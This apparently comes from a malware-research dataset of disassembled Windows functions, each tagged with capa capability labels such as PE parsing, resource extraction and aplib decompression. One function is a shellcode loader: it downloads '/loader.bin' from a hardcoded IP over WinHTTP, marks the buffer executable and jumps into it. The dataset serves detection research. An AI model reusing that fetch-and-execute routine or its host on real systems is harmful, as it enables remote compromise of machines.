joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180002d50
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rdi, r8
lea rcx, [0x18001fd40]
mov esi, edx
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor eax, eax
mov qword [0x18001fd68], rdi
lea rcx, str.SHLWAPI.DLL
mov qword [0x18001fd98], rax
mov dword [0x18001fdb8], eax
mov qword [0x18001fd78], rbx
mov dword [0x18001fd34], esi
mov byte [0x18001fd88], 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x180002dc7
lea rdx, str.StrStrNIW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18001fd90], rax
lea rcx, str.KERNEL32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x180002eb7
lea rdx, [0x18001b0f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180002e0b
lea r8, [0x18001fdb0]
mov rcx, rax
lea rdx, [0x180002a10]
call fcn.1800022a0
lea rdx, [0x18001b100]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180002e36
lea r8, [0x18001fd80]
mov rcx, rax
lea rdx, [0x180002a20]
call fcn.1800022a0
lea rdx, str.CreateFileMappingW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180002e61
lea r8, [0x18001fd70]
mov rcx, rax
lea rdx, [0x180002b70]
call fcn.1800022a0
lea rdx, str.MapViewOfFile
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180002e8c
lea r8, [0x18001fda0]
mov rcx, rax
lea rdx, [0x180002c10]
call fcn.1800022a0
lea rdx, str.MapViewOfFileEx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180002eb7
lea r8, [0x18001fda8]
mov rcx, rax
lea rdx, [0x180002cb0]
call fcn.1800022a0
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x180003270
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.180002ed0
test al, al
je 0x18000335f
mov edx, 0x65
mov qword [rsp + 0x40], rdi
mov rcx, rbx
lea r8d, [rdx - 0x5b]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x18000335a
mov rdx, rax
mov qword [rsp + 0x30], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rdi
mov rcx, rbx
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
je 0x180003355
lea r8, [rsp + 0x38]
mov edx, esi
mov rcx, rax
call fcn.180002650
mov rsi, rax
test rax, rax
je 0x180003355
mov ecx, dword [rax]
xor ebx, ebx
mov dword [rsp + 0x38], ecx
call fcn.18000854c
mov rdi, rax
test rax, rax
je 0x180003328
mov r9d, dword [rsi + 4]
lea r8, [rsi + 8]
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.180003370
test eax, eax
jne 0x180003320
mov rbx, rdi
jmp 0x180003328
mov rcx, rdi
call fcn.180008544
mov edi, dword [rsp + 0x38]
test rbx, rbx
mov eax, dword [rsp + 0x38]
mov rcx, rsi
cmovne edi, eax
call fcn.180008544
test rbx, rbx
je 0x180003355
mov edx, edi
mov rcx, rbx
call fcn.180002fb0
mov rcx, rbx
call fcn.180008544
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop rbx
ret
Function at 0x180006ad4
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x180000000], ax
jne 0x180006b65
movsxd rax, dword [0x18000003c]
lea rdx, [0x180000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x180006b65
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180006b65
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x180006b49
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x180006b43
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x180006b4b
add rdx, 0x28
jmp 0x180006b28
xor edx, edx
test rdx, rdx
jne 0x180006b54
xor al, al
jmp 0x180006b6b
test dword [rdx + 0x24], 0x80000000
je 0x180006b61
xor al, al
jmp 0x180006b6b
mov al, 1
jmp 0x180006b6b
xor al, al
jmp 0x180006b6b
add rsp, 0x18
ret
Function at 0x140001010
Capabilities:
Prepare http request

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
movzx r8d, word [rcx + 0x28]
mov rdx, qword [rcx + 0x18]
mov rbx, rcx
mov rcx, qword [rcx]
xor r9d, r9d
xor edi, edi
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbx + 0x10], rax
test rax, rax
je 0x140001094
mov r8, qword [rbx + 0x20]
mov dword [rsp + 0x30], edi
lea rdx, [0x14002a6b0]
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbx + 8], rax
test rax, rax
je 0x140001094
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov eax, edi
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x1400010b0
Capabilities:
Receive http response

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r12
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 8]
xor r12d, r12d
xor edx, edx
mov rbx, r12
mov esi, r12d
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140001161
mov qword [rsp + 0x50], rdi
mov rcx, qword [rbp + 8]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], r12d
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x140001155
test rbx, rbx
jne 0x14000110f
mov edx, dword [rsp + 0x40]
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov edi, dword [rsp + 0x40]
mov rcx, rbx
add edi, esi
call qword [sym.imp.KERNEL32.dll_LocalSize]
cmp rax, rdi
jae 0x140001138
mov r8d, 0x42
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
mov r8d, dword [rsp + 0x40]
mov rcx, qword [rbp + 8]
mov edx, esi
lea r9, [rsp + 0x48]
add rdx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
add esi, dword [rsp + 0x48]
cmp dword [rsp + 0x40], r12d
ja 0x1400010e2
mov rdi, qword [rsp + 0x50]
mov rax, rbx
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r12
pop rsi
pop rbp
ret
Function at 0x140001230
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library

Disassembly:
push rbx
sub rsp, 0x30
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 8
mov dword [rsp + 0x54], 0xff
call qword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, 0x30
call fcn.140001750
mov rbx, rax
test rax, rax
je 0x1400012ad
lea rax, str.103.1.40.230
lea rcx, str.WinHTTP_Example_1.0
xor r9d, r9d
mov qword [rbx + 0x18], rax
mov eax, 0x118
xor r8d, r8d
mov word [rbx + 0x28], ax
lea rax, str._loader.bin
xor edx, edx
mov qword [rbx + 0x20], rax
xor eax, eax
mov qword [rbx], rax
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], rax
mov dword [rsp + 0x20], eax
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbx], rax
jmp 0x1400012b2
xor eax, eax
mov rbx, rax
mov rcx, rbx
call fcn.140001010
test eax, eax
jne 0x1400012df
lea r8, [0x14002a6f0]
lea rdx, [0x14002a700]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
add rsp, 0x30
pop rbx
ret
mov rcx, rbx
mov qword [rsp + 0x40], rdi
call fcn.1400010b0
mov rdi, rax
test rax, rax
jne 0x14000131a
lea r8, [0x14002a6f0]
lea rdx, [0x14002a710]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdi, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rbx
ret
test rbx, rbx
je 0x140001353
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000132e
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14000133d
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000134b
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbx
call fcn.140001794
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalSize]
lea r9, [rsp + 0x48]
mov r8d, 0x40
mov edx, eax
mov rcx, rdi
mov dword [rsp + 0x48], eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rdi
xor ecx, ecx
call fcn.1400134fc
int3

Function at 0x1400013b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x1400013e3
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140001427
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140001422
cmp rbx, r11
jae 0x140001427
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140001410
cmp rbx, r11
jb 0x14000142b
xor eax, eax
jmp 0x140001437
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140007400
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.14000e484
mov rsi, rax
test rax, rax
je 0x14000747c
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x140007477
cmp dword [rbx], 0x40
jb 0x140007477
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageW]
bt rax, 0xd
jb 0x140007477
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x140007480
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400134fc
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140016938
nop
cmp dword [0x140037448], 1
je 0x1400134a8
mov dword [0x140037444], 1
mov byte [0x140037440], r12b
test ebx, ebx
jne 0x140013494
mov rcx, qword [0x1400397b0]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140013481
mov rcx, qword [0x1400397a8]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140013420
call fcn.140016010
cmp qword [rdi], rax
jne 0x140013420
jmp 0x140013406
cmp rdi, rsi
jb 0x140013481
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140016010
mov qword [rdi], rax
call rbx
mov rcx, qword [0x1400397b0]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x1400397a8]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14001345f
cmp r13, rax
je 0x14001347f
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140013406
lea rdx, [0x140024918]
lea rcx, [0x140024900]
call fcn.140013250
lea rdx, [0x140024928]
lea rcx, [0x140024920]
call fcn.140013250
nop
test r12d, r12d
je 0x1400134b7
mov ecx, 8
call fcn.140016838
test r12d, r12d
jne 0x1400134e2
mov dword [0x140037448], 1
lea ecx, [r12 + 8]
call fcn.140016838
mov ecx, r15d
call fcn.1400131e4
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140013370

Function at 0x140013508
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140013370
Function at 0x14001650b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140032190]
jne 0x14001304a
rol rcx, 0x10
test cx, 0xffff
jne 0x140013046
repz ret
ror rcx, 0x10
jmp 0x140016464
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140037a30]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140037b28]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400164e9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140037a30]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001650b
mov rax, qword [rsp + 0x88]
mov qword [0x140037b28], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140037ac8], rax
mov rax, qword [0x140037b28]
mov qword [0x1400379a0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140037ab0], rax
mov dword [0x140037990], 0xc0000409
mov dword [0x140037994], 1
mov rax, qword [0x140032190]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140032198]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140037a28], eax
mov ecx, 1
call fcn.14001c04c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140028b70]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140037a28], 0
jne 0x140016592
mov ecx, 1
call fcn.14001c04c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14001bb6c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140016010
xor ebx, ebx
mov rdi, rax
cmp qword [0x1400382c0], rbx
jne 0x14001bc72
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14001bd47
lea rdx, [0x140028ce8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001bd47
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x140028cd8]
mov rcx, rsi
mov qword [0x1400382c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x140028cc0]
mov rcx, rsi
mov qword [0x1400382c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x1400382d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x1400382e0], rax
test rax, rax
je 0x14001bc69
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x1400382d8], rax
jmp 0x14001bc79
mov rax, qword [0x1400382d8]
jmp 0x14001bc80
mov rax, qword [0x1400382d8]
mov r11, qword [0x1400382e0]
cmp rax, rdi
je 0x14001bce8
cmp r11, rdi
je 0x14001bce8
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x1400382e0]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14001bce8
test rax, rax
je 0x14001bce8
call rsi
test rax, rax
je 0x14001bce2
lea rcx, [rsp + 0x88]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14001bce2
test byte [rsp + 0x38], 1
jne 0x14001bce8
bts ebp, 0x15
jmp 0x14001bd26
mov rcx, qword [0x1400382c8]
cmp rcx, rdi
je 0x14001bd26
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14001bd26
call rax
mov rbx, rax
test rax, rax
je 0x14001bd26
mov rcx, qword [0x1400382d0]
cmp rcx, rdi
je 0x14001bd26
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14001bd26
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400382c0]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14001bd47
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14001bd49
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x1e06058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.01e061df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1e06089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1e0606f
add dl, dl
jne 0x1e06096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1e060f6
xor eax, eax
add dl, dl
jne 0x1e060a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1e061ad
add dl, dl
jne 0x1e060b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1e060c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1e060d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1e060dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1e060ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1e0607e
mov eax, 1
add dl, dl
jne 0x1e06106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1e06113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1e060fb
sub eax, ebx
mov ebx, 1
jne 0x1e0614c
mov ecx, 1
add dl, dl
jne 0x1e0612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1e0613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1e06123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1e0607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1e06168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1e06175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1e0615d
cmp eax, 0x7d00
jae 0x1e0619b
cmp eax, 0x500
jb 0x1e06196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1e0607e
cmp eax, 0x7f
ja 0x1e0619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1e0607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1e061d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1e0607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000cb20]
mov dword [rax], 1
mov rax, qword [0x14000cb30]
mov dword [rax], 1
mov rax, qword [0x14000cb40]
mov dword [rax], 1
mov rax, qword [0x14000cad0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001b20
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.1400088f0
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.1400088f0
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x1400027f2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140010168]
test eax, eax
je 0x14000288a
lea rax, [0x140010140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140010170]
mov qword [rbp - 8], rax
jmp 0x14000286e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002862
cmp qword [rbp - 0x10], 0
je 0x140002862
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002828
lea rax, [0x140010140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000288b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140002990
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400029b8
mov eax, 0
jmp 0x140002a06
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400029e1
mov eax, 0
jmp 0x140002a06
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002a01
mov eax, 0
jmp 0x140002a06
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140002a0c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002a8a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002a81
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002a81
mov rax, qword [rbp - 8]
jmp 0x140002a9f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002a54
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
